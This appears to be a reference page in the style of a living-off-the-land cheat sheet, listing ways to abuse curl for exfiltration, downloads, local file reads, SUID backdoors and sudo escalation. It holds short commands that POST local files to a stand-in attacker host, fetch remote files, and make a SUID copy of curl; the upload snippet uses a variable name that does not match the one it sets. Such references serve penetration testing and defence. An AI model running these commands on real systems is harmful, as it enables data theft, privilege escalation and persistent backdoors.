.. / curl

Star

• File upload
• File download
• File read
• SUID
• Sudo

File upload

It can exfiltrate files on the network.

• Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Omit the @ to send hard-coded data.

  URL=http://attacker.com/
  LFILE=file_to_send
  curl -X POST -d @$file_to_send $URL

File download

It can download remote files.

• Fetch a remote file via HTTP GET request.

  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  curl $URL -o $LFILE

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• The file path must be absolute.

  LFILE=/tmp/file_to_read
  curl file://$LFILE

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• Fetch a remote file via HTTP GET request.

  sudo sh -c 'cp $(which curl) .; chmod +s ./curl'
  
  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  ./curl $URL -o $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• Fetch a remote file via HTTP GET request.

  URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  sudo -E curl $URL -o $LFILE